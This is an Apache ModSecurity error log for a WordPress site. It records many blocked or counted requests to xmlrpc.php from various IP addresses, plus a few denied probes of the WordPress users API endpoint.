[Sun Apr 12 09:08:16.964520 2026] [:error] [pid 25328:tid 25389] [client 49.145.190.136:8041] [client 49.145.190.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.190.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwgMxUaQZxT-e0YsAx7wAAAFA"]
[Sun Apr 12 09:08:37.933426 2026] [:error] [pid 25328:tid 25401] [client 124.107.20.111:8721] [client 124.107.20.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.107.20.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwlcxUaQZxT-e0YsAyJgAAAFU"]
[Sun Apr 12 09:08:48.840821 2026] [:error] [pid 26567:tid 26592] [client 124.217.4.133:51140] [client 124.217.4.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.4.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwoHhRpg6ptWFyFx02-wAAARc"]
[Sun Apr 12 09:08:59.234103 2026] [:error] [pid 25328:tid 25396] [client 58.69.115.115:9391] [client 58.69.115.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 58.69.115.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwq8xUaQZxT-e0YsAyTAAAAFM"]
[Sun Apr 12 09:09:10.244954 2026] [:error] [pid 25328:tid 25389] [client 124.217.4.133:9747] [client 124.217.4.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.4.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwtsxUaQZxT-e0YsAyXAAAAFA"]
[Sun Apr 12 09:09:20.873227 2026] [:error] [pid 25329:tid 25411] [client 49.145.190.136:10101] [client 49.145.190.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.190.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwwGdcIYsS8Iyaj11kjQAAAJQ"]
[Sun Apr 12 09:09:31.331173 2026] [:error] [pid 26567:tid 26589] [client 119.93.83.110:52504] [client 119.93.83.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.93.83.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwy3hRpg6ptWFyFx03FAAAARQ"]
[Sun Apr 12 09:09:41.969829 2026] [:error] [pid 25437:tid 25451] [client 58.69.115.115:52848] [client 58.69.115.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 58.69.115.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrw1Xf97wYZje1ep_OLXgAAAMw"]
[Sun Apr 12 09:10:24.674319 2026] [:error] [pid 25328:tid 25383] [client 122.52.112.127:54192] [client 122.52.112.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.52.112.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrxAMxUaQZxT-e0YsAy4QAAAE0"]
[Sun Apr 12 09:10:54.733185 2026] [:error] [pid 25328:tid 25368] [client 172.238.64.140:46358] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrxHsxUaQZxT-e0YsAzBQAAAEQ"]
[Sun Apr 12 09:11:10.770982 2026] [:error] [pid 26567:tid 26586] [client 49.145.178.193:13551] [client 49.145.178.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.178.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrxLnhRpg6ptWFyFx03XQAAARE"]
[Sun Apr 12 09:13:15.933040 2026] [:error] [pid 60280:tid 60299] [client 58.69.123.4:17425] [client 58.69.123.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 58.69.123.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrxq3BlLnDOYuIykkg5UwAAAdE"]
[Sun Apr 12 09:15:20.693916 2026] [:error] [pid 60280:tid 60299] [client 49.145.177.229:21271] [client 49.145.177.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.177.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adryKHBlLnDOYuIykkg6YAAAAdE"]
[Sun Apr 12 09:15:47.951100 2026] [:error] [pid 26599:tid 26614] [client 3.35.105.150:40130] [client 3.35.105.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.35.105.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adryQ3G89LXoQbk_rwB60wAAAUw"]
[Sun Apr 12 09:18:01.695675 2026] [:error] [pid 25327:tid 25342] [client 103.110.84.178:43738] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adryyS6h2tZEVJo9JFJzTwAAAAY"]
[Sun Apr 12 09:25:32.759269 2026] [:error] [pid 60280:tid 60294] [client 217.61.143.66:41036] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr0jHBlLnDOYuIykkhCkAAAAcw"]
[Sun Apr 12 09:35:36.785445 2026] [:error] [pid 26600:tid 26632] [client 35.198.41.118:41814] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr26O1YwAZiXhQKLYqv7QAAAYM"]
[Sun Apr 12 09:38:09.011591 2026] [:error] [pid 60280:tid 60289] [client 191.6.101.71:26868] [client 191.6.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.6.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr3gXBlLnDOYuIykkhLtAAAAcc"]
[Sun Apr 12 09:38:11.479963 2026] [:error] [pid 60280:tid 60301] [client 191.6.101.71:25917] [client 191.6.101.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adr3g3BlLnDOYuIykkhLtwAAAdM"]
[Sun Apr 12 09:38:17.175764 2026] [:error] [pid 60280:tid 60302] [client 191.6.101.71:25917] [client 191.6.101.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adr3iXBlLnDOYuIykkhLwwAAAdQ"]
[Sun Apr 12 09:39:03.379113 2026] [:error] [pid 60280:tid 60302] [client 89.211.75.24:54830] [client 89.211.75.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.211.75.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr3t3BlLnDOYuIykkhMNwAAAdQ"]
[Sun Apr 12 09:39:13.343937 2026] [:error] [pid 26567:tid 26590] [client 89.211.75.24:55386] [client 89.211.75.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.211.75.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr3wXhRpg6ptWFyFx08mQAAARU"]
[Sun Apr 12 09:39:23.849635 2026] [:error] [pid 26600:tid 26633] [client 89.211.75.24:25475] [client 89.211.75.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.211.75.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr3y-1YwAZiXhQKLYqwvAAAAYQ"]
[Sun Apr 12 09:39:38.050977 2026] [:error] [pid 26567:tid 26593] [client 43.135.142.37:33252] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adr32nhRpg6ptWFyFx08rQAAARg"]
[Sun Apr 12 09:46:27.563712 2026] [:error] [pid 25328:tid 25401] [client 83.166.155.159:54098] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr5c8xUaQZxT-e0YsBBcQAAAFU"]
[Sun Apr 12 09:50:16.033854 2026] [:error] [pid 60280:tid 60296] [client 78.88.230.100:35736] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr6WHBlLnDOYuIykkhSzAAAAc4"]
[Sun Apr 12 10:01:14.818690 2026] [:error] [pid 25328:tid 25383] [client 113.161.54.245:32878] [client 113.161.54.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.161.54.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr86sxUaQZxT-e0YsBItwAAAE0"]
[Sun Apr 12 10:03:04.701953 2026] [:error] [pid 25328:tid 25373] [client 137.184.237.108:34424] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr9WMxUaQZxT-e0YsBJLgAAAEg"]
[Sun Apr 12 10:12:56.320686 2026] [:error] [pid 25329:tid 25397] [client 84.201.130.79:42168] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adr_qGdcIYsS8Iyaj11sFQAAAIw"]
[Sun Apr 12 10:21:40.578137 2026] [:error] [pid 60280:tid 60300] [client 185.199.223.93:54102] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsBtHBlLnDOYuIykkhj-AAAAdI"]
[Sun Apr 12 10:32:29.927896 2026] [:error] [pid 25329:tid 25376] [client 46.246.39.245:33496] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsEPWdcIYsS8Iyaj11ufgAAAIE"]
[Sun Apr 12 10:33:20.164373 2026] [:error] [pid 60280:tid 60287] [client 149.202.76.92:49420] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsEcHBlLnDOYuIykkhpMQAAAcU"]
[Sun Apr 12 10:38:44.864419 2026] [:error] [pid 60280:tid 60298] [client 46.21.198.186:43452] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsFtHBlLnDOYuIykkhroAAAAdA"]
[Sun Apr 12 10:39:48.653687 2026] [:error] [pid 60280:tid 60302] [client 134.209.114.227:46880] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.114.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsF9HBlLnDOYuIykkhr9AAAAdQ"]
[Sun Apr 12 10:40:49.537788 2026] [:error] [pid 25437:tid 25448] [client 66.179.191.163:51086] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsGMXf97wYZje1ep_OokwAAAMk"]
[Sun Apr 12 10:42:28.630384 2026] [:error] [pid 26599:tid 26603] [client 217.61.143.66:45228] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsGlHG89LXoQbk_rwCIIQAAAUE"]
[Sun Apr 12 10:48:46.159513 2026] [:error] [pid 26600:tid 26647] [client 35.198.41.118:56742] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsIDu1YwAZiXhQKLYrC6wAAAZI"]
[Sun Apr 12 10:49:21.896728 2026] [:error] [pid 26567:tid 26593] [client 200.152.177.16:49430] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsIMXhRpg6ptWFyFx1L7AAAARg"]
[Sun Apr 12 10:55:56.679789 2026] [:error] [pid 25327:tid 25339] [client 67.205.43.38:49914] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsJvC6h2tZEVJo9JFKFkwAAAAM"]
[Sun Apr 12 10:59:13.918092 2026] [:error] [pid 60280:tid 60296] [client 167.172.129.25:57318] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsKgXBlLnDOYuIykkh4JwAAAc4"]
[Sun Apr 12 10:59:16.932662 2026] [:error] [pid 25327:tid 25352] [client 5.42.124.21:36872] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsKhC6h2tZEVJo9JFKGBAAAABA"]
[Sun Apr 12 11:01:03.811816 2026] [:error] [pid 25437:tid 25456] [client 141.95.66.91:53832] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsK73f97wYZje1ep_OwNAAAANE"]
[Sun Apr 12 11:10:24.559347 2026] [:error] [pid 60280:tid 60284] [client 152.42.226.162:43066] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsNIHBlLnDOYuIykkh9ogAAAcI"]
[Sun Apr 12 11:22:08.061192 2026] [:error] [pid 60280:tid 60284] [client 167.172.153.2:47564] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsP4HBlLnDOYuIykkiGPgAAAcI"]
[Sun Apr 12 11:28:09.765843 2026] [:error] [pid 25328:tid 25367] [client 83.166.155.159:37244] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsRScxUaQZxT-e0YsBwPwAAAEM"]
[Sun Apr 12 11:30:41.369722 2026] [:error] [pid 26600:tid 26638] [client 69.163.206.7:47360] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsR4e1YwAZiXhQKLYrOfgAAAYk"]
[Sun Apr 12 11:35:31.173949 2026] [:error] [pid 25328:tid 25383] [client 121.200.216.6:51540] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsTA8xUaQZxT-e0YsBy4AAAAE0"]
[Sun Apr 12 11:48:45.053305 2026] [:error] [pid 25328:tid 25370] [client 156.67.24.219:47010] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsWHcxUaQZxT-e0YsB4XwAAAEY"]
[Sun Apr 12 11:49:01.125833 2026] [:error] [pid 60280:tid 60287] [client 185.225.22.51:43364] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsWLXBlLnDOYuIykkiVgAAAAcU"]
[Sun Apr 12 11:56:59.514119 2026] [:error] [pid 25327:tid 25339] [client 185.199.223.27:47118] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsYCy6h2tZEVJo9JFKQtwAAAAM"]
[Sun Apr 12 11:57:38.482537 2026] [:error] [pid 25328:tid 25367] [client 185.199.223.93:45346] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsYMsxUaQZxT-e0YsB7mgAAAEM"]
[Sun Apr 12 12:02:35.187580 2026] [:error] [pid 25327:tid 25354] [client 147.93.131.179:42568] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsZWy6h2tZEVJo9JFKSeQAAABI"]
[Sun Apr 12 12:09:29.521860 2026] [:error] [pid 25328:tid 25385] [client 192.140.150.247:30079] [client 192.140.150.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.140.150.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsa-cxUaQZxT-e0YsCBRwAAAE4"]
[Sun Apr 12 12:09:42.129767 2026] [:error] [pid 26600:tid 26648] [client 192.140.150.247:30262] [client 192.140.150.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.140.150.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsbBu1YwAZiXhQKLYrYOwAAAZM"]
[Sun Apr 12 12:12:56.627500 2026] [:error] [pid 25328:tid 25394] [client 59.125.102.142:54802] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adsbyMxUaQZxT-e0YsCC4wAAAFI"]
[Sun Apr 12 12:14:02.771484 2026] [:error] [pid 25437:tid 25447] [client 13.239.53.175:57940] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adscCnf97wYZje1ep_PIMAAAAMg"]
